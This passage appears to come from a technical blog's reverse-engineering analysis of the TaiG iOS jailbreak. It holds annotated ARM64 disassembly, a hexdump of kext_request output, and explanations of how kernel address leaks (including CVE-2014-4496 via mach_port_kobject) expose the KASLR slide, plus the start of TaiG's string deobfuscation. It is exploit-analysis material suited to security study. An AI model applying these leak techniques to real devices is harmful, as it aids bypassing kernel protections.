    000000010000d4ac        B      _Exit:             ;
    _Fail: 
    ;  X0 = -1
    000000010000d4b0        MOVN   X0, #0           ^[[0;32m; R0 = 0xffffffffffffffff^[[0;0m
    _Exit:
    ; return (X0);
    ; usual epilog...
    000000010000d4d0        RET                  
    

    The code is fairly simple, and jtool brought me so close to decompilation I did the rest manually. The call to kext_request retrieves a huge plist (this is what my kextstat tool does, via OSKextGetLoadedKextInfo()). It will look something like this:

    Listing ..:The output returned from kext_request() Show all
     3c 64 69 63 74 20 49 44 3d 22 30 22 3e 3c 6b 65  <dict ID="0"><ke
     79 3e 5f 5f 6b 65 72 6e 65 6c 5f 5f 3c 2f 6b 65  y>__kernel__</ke
     79 3e 3c 64 69 63 74 20 49 44 3d 22 31 22 3e 3c  y><dict ID="1"><
     6b 65 79 3e 4f 53 42 75 6e 64 6c 65 4d 61 63 68  key>OSBundleMach
     4f 48 65 61 64 65 72 73 3c 2f 6b 65 79 3e 3c 64  OHeaders</key><d
     61 74 61 20 49 44 3d 22 32 22 3e 7a 2f 72 74 2f  ata ID="2">z/rt/
     67 77 41 41 41 45 41 41 41 41 41 41 67 41 41 41  gwAAAEAAAAAAgAAA
     41 38 41 41 41 42 41 43 77 41 41 41 51 41 67 41  A8AAABACwAAAQAgA
     41 41 41 41 41 41 5a 41 41 41 41 4f 41 45 41 41  AAAAAAZAAAAOAEAA
     46 39 66 56 45 56 59 56 41 41 41 41 41 41 41 41  F9fVEVYVAAAAAAAA
     41 41 41 41 41 41 41 49 41 41 43 67 50 2f 2f 2f  AAAAAAAIAACgP///
     77 41 67 53 41 41 41 41 41 41 41 41 41 41 41 41  wAgSAAAAAAAAAAAA
     41 41 41 41 41 41 41 49 45 67 41 41 41 41 41 41  AAAAAAAIEgAAAAAA
     41 55 41 41 41 41 46 41 41 41 41 41 77 41 41 41  AUAAAAFAAAAAwAAA
     41 41 41 41 41 42 66 58 33 52 6c 65 48 51 41 41  AAAAABfX3RleHQAA
     41 41 41 41 41 41 41 41 41 41 41 58 31 39 55 52  AAAAAAAAAAAX19UR
     56 68 55 41 41 41 41 41 41 41 41 41 41 41 41 41  VhUAAAAAAAAAAAAA
     41 41 77 41 41 4b 41 2f 2f 2f 2f 36 43 6c 43 41  AAwAAKA////6ClCA
     41 41 41 41 41 41 41 45 41 41 41 44 41 41 41 41  AAAAAAAEAAADAAAA
     41 41 41 41 41 41 41 41 41 41 41 41 41 51 41 67  AAAAAAAAAAAAAQAg
     41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
     46 39 66 59 32 39 75 63 33 51 41 41 41 41 41 41  F9fY29uc3QAAAAAA
     41 41 41 41 41 42 66 58 31 52 46 57 46 51 41 41  AAAAABfX1RFWFQAA
     41 41 41 41 41 41 41 41 41 41 41 41 46 70 43 41  AAAAAAAAAAAAFpCA
     6f 44 2f 2f 2f 39 6f 59 41 49 41 41 41 41 41 41  oD///9oYAIAAAAAA
     41 41 36 51 67 41 46 41 41 41 41 41 41 41 41 41  AA6QgAFAAAAAAAAA
     41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
     41 41 41 41 41 41 41 41 41 41 41 58 31 39 6a 63  AAAAAAAAAAAX19jc
     33 52 79 61 57 35 6e 41 41 41 41 41 41 41 41 41  3RyaW5nAAAAAAAAA
     46 39 66 56 45 56 59 56 41 41 41 41 41 41 41 41  F9fVEVYVAAAAAAAA
     41 41 41 41 41 42 6f 75 6b 51 43 67 50 2f 2f 2f  AAAAABoukQCgP///
     32 68 2b 41 77 41 41 41 41 41 41 61 4a 70 45 41  2h+AwAAAAAAaJpEA
     41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
     41 49 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AIAAAAAAAAAAAAAA
     41 41 41 41 41 41 5a 41 41 41 41 79 41 49 41 41  AAAAAAZAAAAyAIAA
     46 39 66 52 45 46 55 51 51 41 41 41 41 41 41 41  F9fREFUQQAAAAAAA
     41 41 41 41 41 41 41 51 45 67 43 67 50 2f 2f 2f  AAAAAAAQEgCgP///
     77 42 41 43 77 41 41 41 41 41 41 41 43 42 49 41  wBACwAAAAAAACBIA
     41 41 41 41 41 41 41 77 41 51 41 41 41 41 41 41  AAAAAAAwAQAAAAAA
     41 4d 41 41 41 41 44 41 41 41 41 43 41 41 41 41  AMAAAADAAAACAAAA
     41 41 41 41 41 42 66 58 32 31 76 5a 46 39 70 62  AAAAABfX21vZF9pb
     6d 6c 30 58 32 5a 31 62 6d 4d 41 58 31 39 45 51  ml0X2Z1bmMAX19EQ
     56 52 42 41 41 41 41 41 41 41 41 41 41 41 41 41  VRBAAAAAAAAAAAAA
     41 42 41 53 41 4b 41 2f 2f 2f 2f 43 41 49 41 41  ABASAKA////CAIAA
     41 41 41 41 41 41 41 49 45 67 41 41 77 41 41 41  AAAAAAAIEgAAwAAA
     41 41 41 41 41 41 41 41 41 41 41 43 51 41 41 41  AAAAAAAAAAACQAAA
     41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
     46 39 66 62 57 39 6b 58 33 52 6c 63 6d 31 66 5a  F9fbW9kX3Rlcm1fZ
     6e 56 75 59 77 42 66 58 30 52 42 56 45 45 41 41  nVuYwBfX0RBVEEAA
     41 41 41 41 41 41 41 41 41 41 41 43 45 4a 49 41  AAAAAAAAAAACEJIA
     6f 44 2f 2f 2f 38 41 41 67 41 41 41 41 41 41 41  oD///8AAgAAAAAAA
     41 67 69 53 41 41 44 41 41 41 41 41 41 41 41 41  AgiSAADAAAAAAAAA
     41 41 41 41 41 41 4b 41 41 41 41 41 41 41 41 41  AAAAAAKAAAAAAAAA
     41 41 41 41 41 41 41 41 41 41 41 58 31 39 6a 62  AAAAAAAAAAAX19jb
     32 35 7a 64 41 41 41 41 41 41 41 41 41 41 41 41  25zdAAAAAAAAAAAA
     46 39 66 52 45 46 55 51 51 41 41 41 41 41 41 41  F9fREFUQQAAAAAAA
     41 41 41 41 41 41 51 52 45 67 43 67 50 2f 2f 2f  AAAAAAQREgCgP///
     79 43 57 41 51 41 41 41 41 41 41 45 43 52 49 41  yCWAQAAAAAAECRIA
     41 51 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AQAAAAAAAAAAAAAA
     41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
     41 41 41 41 41 42 66 58 32 52 68 64 47 45 41 41  AAAAABfX2RhdGEAA
     41 41 41 41 41 41 41 41 41 41 41 58 31 39 45 51  AAAAAAAAAAAX19EQ
     56 52 42 41 41 41 41 41 41 41 41 41 41 41 41 41  VRBAAAAAAAAAAAAA
     41 41 41 53 67 4b 41 2f 2f 2f 2f 61 4e 49 43 41  AAASgKA////aNICA
     41 41 41 41 41 41 41 34 45 6b 41 44 67 41 41 41  AAAAAAA4EkADgAAA
     41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
     41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
     46 39 66 63 32 5a 70 58 32 4e 73 59 58 4e 7a 58  F9fc2ZpX2NsYXNzX
     33 4a 6c 5a 77 42 66 58 30 52 42 56 45 45 41 41  3JlZwBfX0RBVEEAA
     41 41 41 41 41 41 41 41 41 41 41 61 4e 4a 4d 41  AAAAAAAAAAAaNJMA
     6f 44 2f 2f 2f 38 41 41 67 41 41 41 41 41 41 41  oD///8AAgAAAAAAA
     47 69 79 54 41 41 44 41 41 41 41 41 41 41 41 41  GiyTAADAAAAAAAAA
     41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
     41 41 41 41 41 41 41 41 41 41 41 58 31 39 7a 65  AAAAAAAAAAAX19ze
     58 4e 6a 64 47 78 66 63 32 56 30 41 41 41 41 41  XNjdGxfc2V0AAAAA
     46 39 66 52 45 46 55 51 51 41 41 41 41 41 41 41  F9fREFUQQAAAAAAA
     41 41 41 41 41 42 6f 31 45 77 43 67 50 2f 2f 2f  AAAAABo1EwCgP///
     33 41 63 41 41 41 41 41 41 41 41 61 4c 52 4d 41  3AcAAAAAAAAaLRMA
     41 4d 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AMAAAAAAAAAAAAAA
     41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
     41 41 41 41 41 42 66 58 32 4a 7a 63 77 41 41 41  AAAAABfX2JzcwAAA
     41 41 41 41 41 41 41 41 41 41 41 58 31 39 45 51  AAAAAAAAAAAX19EQ
     56 52 42 41 41 41 41 41 41 41 41 41 41 41 41 41  VRBAAAAAAAAAAAAA
     41 41 41 54 51 4b 41 2f 2f 2f 2f 73 46 38 47 41  AAATQKA////sF8GA
     41 41 41 41 41 41 41 41 41 41 41 44 41 41 41 41  AAAAAAAAAAADAAAA
     41 41 41 41 41 41 41 41 41 41 41 41 51 41 41 41  AAAAAAAAAAAAQAAA
     41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
     46 39 66 59 32 39 74 62 57 39 75 41 41 41 41 41  F9fY29tbW9uAAAAA
     41 41 41 41 41 42 66 58 30 52 42 56 45 45 41 41  AAAAABfX0RBVEEAA
     41 41 41 41 41 41 41 41 41 41 41 41 47 42 54 41  AAAAAAAAAAAAGBTA
     6f 44 2f 2f 2f 38 59 45 51 41 41 41 41 41 41 41  oD///8YEQAAAAAAA
     41 41 41 41 41 41 4d 41 41 41 41 41 41 41 41 41  AAAAAAMAAAAAAAAA
     41 41 41 41 41 41 42 41 41 41 41 41 41 41 41 41  AAAAAABAAAAAAAAA
     41 41 41 41 41 41 41 41 41 41 41 47 51 41 41 41  AAAAAAAAAAAGQAAA
     43 67 43 41 41 42 66 58 30 74 4d 52 41 41 41 41  CgCAABfX0tMRAAAA
     41 41 41 41 41 41 41 41 41 41 41 41 49 42 54 41  AAAAAAAAAAAAIBTA
     6f 44 2f 2f 2f 38 41 49 41 41 41 41 41 41 41 41  oD///8AIAAAAAAAA
     41 44 77 54 41 41 41 41 41 41 41 41 43 41 41 41  ADwTAAAAAAAACAAA
     41 41 41 41 41 41 44 41 41 41 41 41 77 41 41 41  AAAAAADAAAAAwAAA
     41 59 41 41 41 41 41 41 41 41 41 58 31 39 30 5a  AYAAAAAAAAAX190Z
     58 68 30 41 41 41 41 41 41 41 41 41 41 41 41 41  Xh0AAAAAAAAAAAAA
     46 39 66 53 30 78 45 41 41 41 41 41 41 41 41 41  F9fS0xEAAAAAAAAA
     41 41 41 41 41 41 41 67 46 4d 43 67 50 2f 2f 2f  AAAAAAAgFMCgP///
     31 41 53 41 41 41 41 41 41 41 41 41 50 42 4d 41  1ASAAAAAAAAAPBMA
     41 49 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AIAAAAAAAAAAAAAA
     41 41 45 41 49 41 41 41 41 41 41 41 41 41 41 41  AAEAIAAAAAAAAAAA
     41 41 41 41 41 42 66 58 32 4e 7a 64 48 4a 70 62  AAAAABfX2NzdHJpb
     6d 63 41 41 41 41 41 41 41 41 41 58 31 39 4c 54  mcAAAAAAAAAX19LT
     45 51 41 41 41 41 41 41 41 41 41 41 41 41 41 41  EQAAAAAAAAAAAAAA
     46 43 53 55 77 4b 41 2f 2f 2f 2f 43 41 63 41 41  FCSUwKA////CAcAA
     41 41 41 41 41 42 51 41 6b 30 41 41 41 41 41 41  AAAAABQAk0AAAAAA
     41 41 41 41 41 41 41 41 41 41 41 41 67 41 41 41  AAAAAAAAAAAAgAAA
     41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
     46 39 66 59 32 39 75 63 33 51 41 41 41 41 41 41  F9fY29uc3QAAAAAA
     41 41 41 41 41 42 66 58 30 74 4d 52 41 41 41 41  AAAAABfX0tMRAAAA
     41 41 41 41 41 41 41 41 41 41 41 57 4a 6c 54 41  AAAAAAAAAAAWJlTA
     6f 44 2f 2f 2f 39 6f 41 41 41 41 41 41 41 41 41  oD///9oAAAAAAAAA
     46 67 4a 54 51 41 44 41 41 41 41 41 41 41 41 41  FgJTQADAAAAAAAAA
     41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
     41 41 41 41 41 41 41 41 41 41 41 58 31 39 74 62  AAAAAAAAAAAX19tb
     32 52 66 61 57 35 70 64 46 39 6d 64 57 35 6a 41  2RfaW5pdF9mdW5jA
     46 39 66 53 30 78 45 41 41 41 41 41 41 41 41 41  F9fS0xEAAAAAAAAA
     41 41 41 41 41 44 41 6d 56 4d 43 67 50 2f 2f 2f  AAAAADAmVMCgP///
     77 67 41 41 41 41 41 41 41 41 41 77 41 6c 4e 41  wgAAAAAAAAAwAlNA
     41 4d 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AMAAAAAAAAAAAAAA
     41 6b 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AkAAAAAAAAAAAAAA
     41 41 41 41 41 42 66 58 32 31 76 5a 46 39 30 5a  AAAAABfX21vZF90Z
     58 4a 74 58 32 5a 31 62 6d 4d 41 58 31 39 4c 54  XJtX2Z1bmMAX19LT
     45 51 41 41 41 41 41 41 41 41 41 41 41 41 41 41  EQAAAAAAAAAAAAAA
     4d 69 5a 55 77 4b 41 2f 2f 2f 2f 43 41 41 41 41  MiZUwKA////CAAAA
     41 41 41 41 41 44 49 43 55 30 41 41 77 41 41 41  AAAAADICU0AAwAAA
     41 41 41 41 41 41 41 41 41 41 41 43 67 41 41 41  AAAAAAAAAAACgAAA
     41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
     46 39 66 59 6e 4e 7a 41 41 41 41 41 41 41 41 41  F9fYnNzAAAAAAAAA
     41 41 41 41 41 42 66 58 30 74 4d 52 41 41 41 41  AAAAABfX0tMRAAAA
     41 41 41 41 41 41 41 41 41 41 41 30 4a 6c 54 41  AAAAAAAAAAA0JlTA
     6f 44 2f 2f 2f 38 42 41 41 41 41 41 41 41 41 41  oD///8BAAAAAAAAA
     41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
     41 41 41 41 41 41 42 41 41 41 41 41 41 41 41 41  AAAAAABAAAAAAAAA
     41 41 41 41 41 41 41 41 41 41 41 47 51 41 41 41  AAAAAAAAAAAGQAAA
     4f 67 41 41 41 42 66 58 30 78 42 55 31 51 41 41  OgAAABfX0xBU1QAA
     41 41 41 41 41 41 41 41 41 41 41 41 4b 42 54 41  AAAAAAAAAAAAKBTA
     6f 44 2f 2f 2f 38 41 45 41 41 41 41 41 41 41 41  oD///8AEAAAAAAAA
     41 41 51 54 51 41 41 41 41 41 41 41 42 41 41 41  AAQTQAAAAAAABAAA
     41 41 41 41 41 41 44 41 41 41 41 41 77 41 41 41  AAAAAADAAAAAwAAA
     41 49 41 41 41 41 41 41 41 41 41 58 31 39 74 62  AIAAAAAAAAAX19tb
     32 52 66 61 57 35 70 64 46 39 6d 64 57 35 6a 41  2RfaW5pdF9mdW5jA
     46 39 66 54 45 46 54 56 41 41 41 41 41 41 41 41  F9fTEFTVAAAAAAAA
     41 41 41 41 41 41 41 6f 46 4d 43 67 50 2f 2f 2f  AAAAAAAoFMCgP///
     77 67 41 41 41 41 41 41 41 41 41 41 42 42 4e 41  wgAAAAAAAAAABBNA
     41 4d 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AMAAAAAAAAAAAAAA
     41 6b 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AkAAAAAAAAAAAAAA
     41 41 41 41 41 42 66 58 32 78 68 63 33 51 41 41  AAAAABfX2xhc3QAA
     41 41 41 41 41 41 41 41 41 41 41 58 31 39 4d 51  AAAAAAAAAAAX19MQ
     56 4e 55 41 41 41 41 41 41 41 41 41 41 41 41 41  VNUAAAAAAAAAAAAA
     41 69 67 6b 78 69 41 2f 2f 2f 2f 41 41 41 41 41  AigkxiA////AAAAA
     41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
     41 41 41 41 41 41 41 41 41 41 41 41 51 41 41 41  AAAAAAAAAAAAQAAA
     41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
     42 6b 41 41 41 43 59 41 41 41 41 58 31 39 51 55  BkAAACYAAAAX19QU
     6b 56 4d 53 55 35 4c 58 31 52 46 57 46 51 41 41  kVMSU5LX1RFWFQAA
     41 41 77 57 51 4b 41 2f 2f 2f 2f 41 4c 44 54 41  AAwWQKA////ALDTA
     41 41 41 41 41 41 41 6f 46 49 41 41 41 41 41 41  AAAAAAAoFIAAAAAA
     41 43 77 30 77 41 41 41 41 41 41 41 77 41 41 41  ACw0wAAAAAAAwAAA
     41 4d 41 41 41 41 42 41 41 41 41 41 41 41 41 41  AMAAAABAAAAAAAAA
     46 39 66 64 47 56 34 64 41 41 41 41 41 41 41 41  F9fdGV4dAAAAAAAA
     41 41 41 41 41 42 66 58 31 42 53 52 55 78 4a 54  AAAAABfX1BSRUxJT
     6b 74 66 56 45 56 59 56 41 41 41 41 44 42 5a 41  ktfVEVYVAAAADBZA
     6f 44 2f 2f 2f 38 41 73 4e 4d 41 41 41 41 41 41  oD///8AsNMAAAAAA
     41 43 67 55 67 41 41 41 41 41 41 41 41 41 41 41  ACgUgAAAAAAAAAAA
     41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
     41 41 41 41 41 41 41 41 41 41 41 47 51 41 41 41  AAAAAAAAAAAGQAAA
     4f 67 41 41 41 42 66 58 31 42 53 52 55 78 4a 54  OgAAABfX1BSRUxJT
     6b 74 66 55 31 52 42 56 45 55 41 41 4c 43 54 47  ktfU1RBVEUAALCTG
     49 44 2f 2f 2f 38 41 41 41 41 41 41 41 41 41 41  ID///8AAAAAAAAAA
     41 41 67 54 51 41 41 41 41 41 41 41 41 41 41 41  AAgTQAAAAAAAAAAA
     41 41 41 41 41 41 44 41 41 41 41 41 77 41 41 41  AAAAAADAAAAAwAAA
     41 49 41 41 41 41 41 41 41 41 41 58 31 39 72 5a  AIAAAAAAAAAX19rZ
     58 4a 75 5a 57 77 41 41 41 41 41 41 41 41 41 41  XJuZWwAAAAAAAAAA
     46 39 66 55 46 4a 46 54 45 6c 4f 53 31 39 54 56  F9fUFJFTElOS19TV
     45 46 55 52 51 41 41 73 4a 4d 59 67 50 2f 2f 2f  EFURQAAsJMYgP///
     77 41 41 41 41 41 41 41 41 41 41 41 43 42 4e 41  wAAAAAAAAAAACBNA
     41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
     41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
     41 41 41 41 41 42 66 58 32 74 6c 65 48 52 7a 41  AAAAABfX2tleHRzA
     41 41 41 41 41 41 41 41 41 41 41 58 31 39 51 55  AAAAAAAAAAAX19QU
     41 41 41 41 41 42 66 58 32 74 6c 65 48 52 7a 41  AAAAABfX2tleHRzA
     41 41 41 41 41 41 41 41 41 41 41 58 31 39 51 55  AAAAAAAAAAAX19QU
     6b 56 4d 53 55 35 4c 58 31 4e 55 51 56 52 46 41  kVMSU5LX1NUQVRFA
     41 43 77 6b 78 69 41 2f 2f 2f 2f 41 41 41 41 41  ACwkxiA////AAAAA
     41 41 41 41 41 41 41 49 45 30 41 41 41 41 41 41  AAAAAAAIE0AAAAAA
     41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
     41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
     42 6b 41 41 41 43 59 41 41 41 41 58 31 39 51 55  BkAAACYAAAAX19QU
     6b 56 4d 53 55 35 4c 58 30 6c 4f 52 6b 38 41 41  kVMSU5LX0lORk8AA
     41 44 67 62 42 6d 41 2f 2f 2f 2f 41 47 41 49 41  ADgbBmA////AGAIA
     41 41 41 41 41 41 41 55 43 59 42 41 41 41 41 41  AAAAAAAUCYBAAAAA
     4c 39 53 43 41 41 41 41 41 41 41 41 77 41 41 41  L9SCAAAAAAAAwAAA
     41 4d 41 41 41 41 42 41 41 41 41 41 41 41 41 41  AMAAAABAAAAAAAAA
     46 39 66 61 57 35 6d 62 77 41 41 41 41 41 41 41  F9faW5mbwAAAAAAA
     41 41 41 41 41 42 66 58 31 42 53 52 55 78 4a 54  AAAAABfX1BSRUxJT
     6b 74 66 53 55 35 47 54 77 41 41 41 4f 42 73 47  ktfSU5GTwAAAOBsG
     59 44 2f 2f 2f 2b 2f 55 67 67 41 41 41 41 41 41  YD///+/UggAAAAAA
     41 42 51 4a 67 45 41 41 41 41 41 41 41 41 41 41  ABQJgEAAAAAAAAAA
     41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
     41 41 41 41 41 41 41 41 41 41 41 47 51 41 41 41  AAAAAAAAAAAGQAAA
     45 67 41 41 41 42 66 58 30 78 4a 54 6b 74 46 52  EgAAABfX0xJTktFR
     45 6c 55 41 41 41 41 41 41 41 41 41 4c 43 54 47  ElUAAAAAAAAALCTG
     49 44 2f 2f 2f 39 59 65 51 55 41 41 41 41 41 41  ID///9YeQUAAAAAA
     41 41 67 54 51 41 41 41 41 41 41 57 48 6b 46 41  AAgTQAAAAAAWHkFA
     41 41 41 41 41 41 42 41 41 41 41 41 51 41 41 41  AAAAAABAAAAAQAAA
     41 41 41 41 41 41 41 41 41 41 41 41 67 41 41 41  AAAAAAAAAAAAgAAA
     42 67 41 41 41 44 77 6e 55 38 41 6e 52 41 41 41  BgAAADwnU8AnRAAA
     4d 43 6e 55 41 43 59 38 51 45 41 43 77 41 41 41  MCnUACY8QEACwAAA
     46 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  FAAAAAAAAAAAAAAA
     41 41 41 41 41 43 64 45 41 41 41 6e 52 41 41 41  AAAAACdEAAAnRAAA
     41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
     41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
     41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
     41 41 41 41 41 41 41 41 41 41 41 41 43 42 4e 41  AAAAAAAAAAAACBNA
     50 56 48 41 41 41 62 41 41 41 41 47 41 41 41 41  PVHAAAbAAAAGAAAA
     4d 70 5a 30 58 6d 45 38 44 53 4b 6d 52 68 66 57  MpZ0XmE8DSKmRhfW
     6f 41 4a 34 67 6f 6c 41 41 41 41 45 41 41 41 41  oAJ4golAAAAEAAAA
     41 41 42 43 41 41 41 41 51 67 41 4b 67 41 41 41  AABCAAAAQgAKgAAA
     42 41 41 41 41 41 41 41 47 44 42 41 4e 38 4b 41  BAAAAAAAGDBAN8KA
     41 55 41 41 41 41 67 41 51 41 41 42 67 41 41 41  AUAAAAgAQAABgAAA
     45 51 41 41 41 41 41 41 41 41 41 41 41 41 41 41  EQAAAAAAAAAAAAAA
     41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
     41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
     41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
     41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
     41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
     41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
     41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
     41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
     41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
     41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
     41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
     41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
     41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
     41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
     41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
     41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
     41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
     41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
     41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
    ....
     41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
     41 41 41 41 41 41 41 41 41 41 41 57 49 41 4e 41  AAAAAAAAAAAWIANA
     6f 44 2f 2f 2f 38 41 41 41 41 41 41 41 41 41 41  oD///8AAAAAAAAAA
     43 59 41 41 41 41 51 41 41 41 41 71 46 39 50 41  CYAAAAQAAAAqF9PA
     45 67 2b 41 41 41 3d 3c 2f 64 61 74 61 3e 3c 6b  Eg+AAA=</data><k
     65 79 3e 4f 53 42 75 6e 64 6c 65 43 50 55 54 79  ey>OSBundleCPUTy
     70 65 3c 2f 6b 65 79 3e 3c 69 6e 74 65 67 65 72  pe</key><integer
     20 73 69 7a 65 3d 22 33 32 22 20 49 44 3d 22 33   size="32" ID="3
    

    As you can see, it's (yet another) plist, and it has a ton of base64 (those AAAAA are encodings of binary 0s). You can grab the raw output from here if you want to play around with it. I only included up to the end of ID="2", because that's also what TaiG cares about.

    Taig "zooms in" (using strstr) on the "z/rt/.." which is the content of the <data ID="2"> element.You can follow the code with the raw data, (or just set a breakpoint if you debug) but I'll save you the ordeal - _get_leak_1 will return 0xffffff8018402000 or similar address (slid) and _get_leak_2 will return 0xffffff8019754000 (again, slid). These addresses will look different for you if you debug on your device, but they are nonetheless 0x1352000 apart. We can deduce the slide, and that sure is a great start, considering the kernelcache is encrypted, so we couldn't just do an jtool -S on it. So this is how responses "may have included kernel addresses". It's not "may". It's "DO". But for some reasons security advisories like modals.

    evasi0ners may recall MachOBundleHeaders from iOS6, where it was a well known bug until it was burned by @mdowd. Somewhat surprisingly, this is a close variation of the same bug. Apple states "This issue was addressed by unsliding the addresses before returning them". The exact words appeared in iOS 6.0.1 Security Notes. (edit) Come to think of it, the entire description is a verbatim copy of) the section dealing with the 6.0 bug, a.k.a CVE-2012-3749. Learn from history, or be condemned to repeat it).

    mach_port_kobject (CVE-2014-4496)

    The Apple bulletin states that "The mach_port_kobject kernel interface leaked kernel addresses and heap permutation value, which may aid in bypassing address space layout randomization protection". and credits TaiG for it. This is most likely a mistake, as the bug could not possibly have been discovered by anyone but Stephan Esser, who explains it clearly (in his SektionEins blog). Esser leaves exploitation as an "exercise for the reader", and it seems that TaiG has solved it:

     
    dey_can_stealz_hiz_bugz:
    000000010000d250        STP    X20, X19, [X31, #124]!   
    000000010000d254        STP    x29, X30, [X31, #2]    
    000000010000d258        >ADD   x29, x31, #0x10  
    000000010000d25c        sub	sp, sp, #16     
    000000010000d260        STP    w31, W31, [X31, #2]  
    000000010000d264        STR    X31, [ X31, #0]  
    000000010000d268        ADR    x19, 39144       
    000000010000d26c        NOP                     
    000000010000d270        LDR    X0, [X19, #0]    
    000000010000d274        cbnz   x0, 0x10000d2ac          
    000000010000d278        BL     0x100011988      
    000000010000d27c        >ADD   x1, x31, #0xc    
    000000010000d280        BL     0x100011934      
    000000010000d284        NOP                     
    000000010000d288        LDR    X8, #7036        
    000000010000d28c        LDR    W0, [X8, #0]     
    000000010000d290        LDR    W1, [X31, #3]    
    000000010000d294        >ADD   x2, x31, #0x8    
    000000010000d298        >ADD   x3, x31, #0x0    
    ;
    ; ignored = mach_port_kobject(mach_task_self, // ipc_state_t task,
    ;                             [X31, #3]     , // mach_port_name_t name,
    ;                             SP + 0x8      , // natural_t *object_type,
    ;                             iomaster_port_kobject_leak)  // mach_vm_address_t *object_addr);
    
    000000010000d29c        BL     0x1000119b8      
    000000010000d2a0        LDR    X8, [X31, #0]    
    000000010000d2a4        sub    x0, x8, #1       
    000000010000d2a8        STR    X0, [ X19, #0]   
    outta_here:
    000000010000d2ac        sub	sp, fp, #16     
    000000010000d2b0        ldp	fp, lr, [sp, #16]       
    000000010000d2b4        ldp	x20, x19, [sp], #32       
    000000010000d2b8        RET    X30              
    
    
    
    

    This function should not have even existed in XNU, much less on iOS - A look at the source clearly shows it is supposed to return KERN_FAILURE, unless MACH_IPC_DEBUG is #defined. Apple states that "This was addressed by disabling the mach_port_kobject interface in production configurations". Am I to understand iOS wasn't considered production up until this point? :-) Maybe a better check on #defines would have been advisable (hmm.. what other interesting debug functions is there that shouldn't be? tsk tsk).

    IOHIDFamily and friends

    deobfuscate_object_names

    This function is used to deobfuscate the IORegistry objects TaiG use in the exploit. The deobfuscation is fairly simple, taking a "key" (0x100012c46 ; "rgca/[204';b/[]/?", which is likely UTF-8 Chinese for something), and iterating over the "encrypted" area of memory, xoring with the "key", for several objects, as shown here:

    Listing ..:Taig's obfuscation Show disassembly
    ; Setup... 
    000000010000c700        ADR    x9, 34872        ^[[0;32m; R9 = 0x100014f38^[[0;0m
